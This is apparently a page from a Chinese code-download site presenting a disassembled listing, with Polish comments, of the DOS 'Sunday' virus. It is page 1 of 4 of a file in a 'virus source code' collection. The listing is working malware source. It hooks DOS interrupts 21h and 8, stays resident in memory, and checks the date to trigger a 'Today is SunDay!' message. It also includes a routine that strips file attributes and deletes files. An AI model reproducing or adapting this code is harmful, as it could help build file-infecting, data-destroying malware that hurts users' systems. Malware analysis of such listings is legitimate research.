⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 j_sundyb.lst

📁 一些病毒源代码
💻 LST
📖 第 1 页 / 共 4 页
字号:
        XOR     SI,SI                   ;offset zrodlowy        ;92AF 33 F6
        MOV     DI,SI                   ;offset wynikowy        ;92B1 8B FE
        PUSH    ES                      ;segment przepisanego   ;92B3 06
        MOV     AX,OFFSET L013C         ;offset kontynuacji     ;92B4 B8 3C 01
        PUSH    AX                                              ;92B7 50
        JMP     DWORD PTR L05F6         ;skok w wektor int FF   ;92B8 FF 2E F6 05

        ;<- kontynuacja na nowym miejscu
L013C:  MOV     AX,CS                                           ;92BC 8C C8
        MOV     SS,AX                                           ;92BE 8E D0
        MOV     SP,OFFSET L065D                                 ;92C0 BC 5D 06
        XOR     AX,AX                                           ;92C3 33 C0
        MOV     DS,AX                                           ;92C5 8E D8
        MOV     AX,CS:L004B     ;odtworzenie wektora int ff     ;92C7 2E A1 4B 00
        MOV     [BX],AX                                         ;92CB 89 07
        MOV     AL,CS:L004D                                     ;92CD 2E A0 4D 00
        MOV     [BX+2],AL                                       ;92D1 88 47 02

        MOV     BX,SP           ;sp -> paragraf                 ;92D4 8B DC
        MOV     CL,4                                            ;92D6 B1 04
        SHR     BX,CL                                           ;92D8 D3 EB
        ADD     BX,20h          ;+512                           ;92DA 83 C3 20
        and     bx,0fff0h                                       ;92DD 83 E3 F0
        MOV     CS:L0033,BX     ;paragrafy bloku potrzebne      ;92E0 2E 89 1E 33 00
        MOV     AH,4AH          ;Set Block                      ;92E5 B4 4A
        MOV     ES,CS:L0031     ;segment bloku                  ;92E7 2E 8E 06 31 00
        INT     21H                                             ;92EC CD 21
        MOV     AX,3521h        ;Get int 21h                    ;92EE B8 21 35
        INT     21H                                             ;92F1 CD 21
        MOV     CS:L0017,BX                                     ;92F3 2E 89 1E 17 00
        MOV     CS:L0019,ES                                     ;92F8 2E 8C 06 19 00
        PUSH    CS                                              ;92FD 0E
        POP     DS                                              ;92FE 1F
        MOV     DX,OFFSET L02D2                                 ;92FF BA D2 02
        MOV     AX,2521h        ;Set int 21h                    ;9302 B8 21 25
        INT     21H                                             ;9305 CD 21
        MOV     ES,[L0031]      ;segment wirusa                 ;9307 8E 06 31 00
        MOV     ES,ES:[2Ch]     ;environment                    ;930B 26 8E 06 2C 00
        XOR     DI,DI           ;szukamy nazwy nosiciela        ;9310 33 FF
        MOV     CX,7FFFh                                        ;9312 B9 FF 7F
        XOR     AL,AL                                           ;9315 32 C0
L9317:  REPNZ   SCASB                                           ;9317 F2 AE
        CMP     ES:[DI],AL                                      ;9319 26 38 05
        LOOPNZ  L9317                                           ;931C E0 F9
        MOV     DX,DI           ;pathname offset                ;931E 8B D7
        ADD     DX,3                                            ;9320 83 C2 03

        MOV     AX,4B00h        ;Load & Execute nosiciela       ;9323 B8 00 4B
        PUSH    ES                                              ;9326 06
        POP     DS              ;pathname segment               ;9327 1F
        PUSH    CS                                              ;9328 0E
        POP     ES              ;parameter block                ;9329 07
        MOV     BX,OFFSET L0035 ;parameter block                ;932A BB 35 00
        PUSH    DS                                              ;932D 1E
        PUSH    ES                                              ;932E 06
        PUSH    AX                                              ;932F 50
        PUSH    BX                                              ;9330 53
        PUSH    CX                                              ;9331 51
        PUSH    DX                                              ;9332 52
        MOV     AH,2AH          ;Get Date                       ;9333 B4 2A
        INT     21H                                             ;9335 CD 21
        MOV     BYTE PTR CS:L000E,0     ;ptr aktywnosci wirusa  ;9337 2E C6 06 0E 00 00
        CMP     CX,1989         ;rok                            ;933D 81 F9 C5 07
        JZ      L936F           ;-> tak                         ;9341 74 2C

; Mistake! Range for AL is 0 ..6 !

        CMP     AL,7            ;niedziela ?                    ;9343 3C 07
        JNZ     L9350           ;-> nie                         ;9345 75 09
        INC     BYTE PTR CS:L000E       ;ptr aktywnosci wirusa  ;9347 2E FE 06 0E 00
        JMP     SHORT   L936F                                   ;934C EB 21

        NOP                                                     ;934E 90
        NOP                                                     ;934F 90

        ;<- to nie niedziela i rok nie 1989
L9350:  MOV     AX,3508h        ;Get int 8                      ;9350 B8 08 35
        INT     21H                                             ;9353 CD 21
        MOV     CS:L0013,BX                                     ;9355 2E 89 1E 13 00
        MOV     CS:L0015,ES                                     ;935A 2E 8C 06 15 00
        PUSH    CS                                              ;935F 0E
        POP     DS                                              ;9360 1F
        MOV     WORD PTR L001F,32400    ;30 minut               ;9361 C7 06 1F 00 90 7E
        MOV     AX,2508h        ;Set int 8                      ;9367 B8 08 25
        MOV     DX,OFFSET L0216                                 ;936A BA 16 02
        INT     21H                                             ;936D CD 21
L936F:  POP     DX                                              ;936F 5A
        POP     CX                                              ;9370 59
        POP     BX                                              ;9371 5B
        POP     AX                                              ;9372 58
        POP     ES                                              ;9373 07
        POP     DS                                              ;9374 1F
        PUSHF                                                   ;9375 9C
        CALL    DWORD PTR CS:L0017      ;old int 21h (run)      ;9376 2E FF 1E 17 00
        PUSH    DS                                              ;937B 1E
        POP     ES                                              ;937C 07
        MOV     AH,49H          ;Free allocated memory          ;937D B4 49
        INT     21H                                             ;937F CD 21
        MOV     AH,4DH          ;Get Return code of child proc  ;9381 B4 4D
        INT     21H                                             ;9383 CD 21
        MOV     AH,31H          ;Keep process                   ;9385 B4 31
        MOV     DX,OFFSET L065F ;adres konca                    ;9387 BA 5F 06
        MOV     CL,4            ;na paragrafy                   ;938A B1 04
        SHR     DX,CL                                           ;938C D3 EA
        ADD     DX,10h          ;zaokraglenie                   ;938E 83 C2 10
        INT     21H                                             ;9391 CD 21

;-----------------------------------------------
;       Wlasna obsluga int 24h
;-----------------------------------------------
L0213:  XOR     AX,AX                                           ;9393 33 C0
        IRET                                                    ;9395 CF

;================================================================
;       Nowa obsluga int 8
;----------------------------------------------------------------
L0216:  CMP     BYTE PTR CS:L000E,1     ;ptr aktywnosci wirusa  ;9396 2E 80 3E 0E 00 01
        JNZ     L93CC           ;-> to nie sobota               ;939C 75 2E
        CMP     WORD PTR CS:L001F,0                             ;939E 2E 83 3E 1F 00 00
        JNZ     L93C7           ;-> jeszcze mamy czas           ;93A4 75 21
        PUSH    AX                                              ;93A6 50
        PUSH    BX                                              ;93A7 53
        PUSH    SI                                              ;93A8 56
        MOV     AH,0EH          ;                               ;93A9 B4 0E
        MOV     BL,1FH          ;atrybut                        ;93AB B3 1F
        LEA     SI,L0251        ;'Today is SunDay...'           ;93AD 8D 36 51 02
L93B1:  MOV     AL,CS:[SI]      ;znak                           ;93B1 2E 8A 04
        CMP     AL,'$'          ;koniec ?                       ;93B4 3C 24
        JZ      L93BD           ;-> tak                         ;93B6 74 05
        INT     10H                                             ;93B8 CD 10
        INC     SI                                              ;93BA 46
        JMP     SHORT   L93B1                                   ;93BB EB F4

L93BD:  MOV     WORD PTR CS:L001F,32400 ;reset licznika na 30min;93BD 2E C7 06 1F 00 90 7E
        POP     SI                                              ;93C4 5E
        POP     BX                                              ;93C5 5B
        POP     AX                                              ;93C6 58
L93C7:  DEC     WORD PTR CS:L001F       ;licznik zwloki         ;93C7 2E FF 0E 1F 00
L93CC:  JMP     DWORD PTR CS:L0013      ;oryginal int 8         ;93CC 2E FF 2E 13 00

L0251   DB      'Today is SunDay! Why do you work so hard?',LF,CR
        DB      'All  work and no play make you a dull boy!',LF,CR
        DB      "Come on ! Let's go out and have some fun!$"

;================================================================
;       Nowa obsluga int 21h
;----------------------------------------------------------------
L02D2:  PUSHF                                                   ;9452 9C
        CMP     AH,0FFH         ;czy to pytanie o wirusa ?      ;9453 80 FC FF
        JNZ     L945D           ;-> nie                         ;9456 75 05
        MOV     AX,0400h        ;sygnalizacja obecnosci         ;9458 B8 00 04
        POPF                                                    ;945B 9D
        IRET                                                    ;945C CF

L945D:  CMP     AH,0DDH         ;uruchomienie nosiciela COM ?   ;945D 80 FC DD
        JZ      L9470           ;-> tak                         ;9460 74 0E
        CMP     AX,4B00h        ;Load & Execute ?               ;9462 3D 00 4B
        JNZ     L946A           ;-> nie, przezroczystosc        ;9465 75 03
        JMP     SHORT   L949E   ;-> tak                         ;9467 EB 35

        NOP                                                     ;9469 90

L946A:  POPF                                                    ;946A 9D
        JMP     DWORD PTR CS:L0017      ;old int 21h            ;946B 2E FF 2E 17 00

L9470:  POP     AX              ;<- 0DDh, uruchom nosiciela COM ;9470 58
        POP     AX                                              ;9471 58
        MOV     AX,0100h        ;IP                             ;9472 B8 00 01
        MOV     CS:L000A,AX                                     ;9475 2E A3 0A 00
        POP     AX              ;CS                             ;9479 58
        MOV     CS:L000C,AX                                     ;947A 2E A3 0C 00
        REPZ    MOVSB           ;przeslanie programu na wirusa  ;947E F3 A4
        POPF                                                    ;9480 9D
        MOV     AX,CS:L000F     ;?                              ;9481 2E A1 0F 00
        JMP     DWORD PTR CS:L000A                              ;9485 2E FF 2E 0A 00

        ;<- uruchamianie programu w fazie aktywnosci 
L948A:  XOR     CX,CX                                           ;948A 33 C9
        MOV     AX,4301h        ;Set file attributes            ;948C B8 01 43
        INT     21H                                             ;948F CD 21
        MOV     AH,41H          ;Delete Directory Entry         ;9491 B4 41
        INT     21H                                             ;9493 CD 21

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -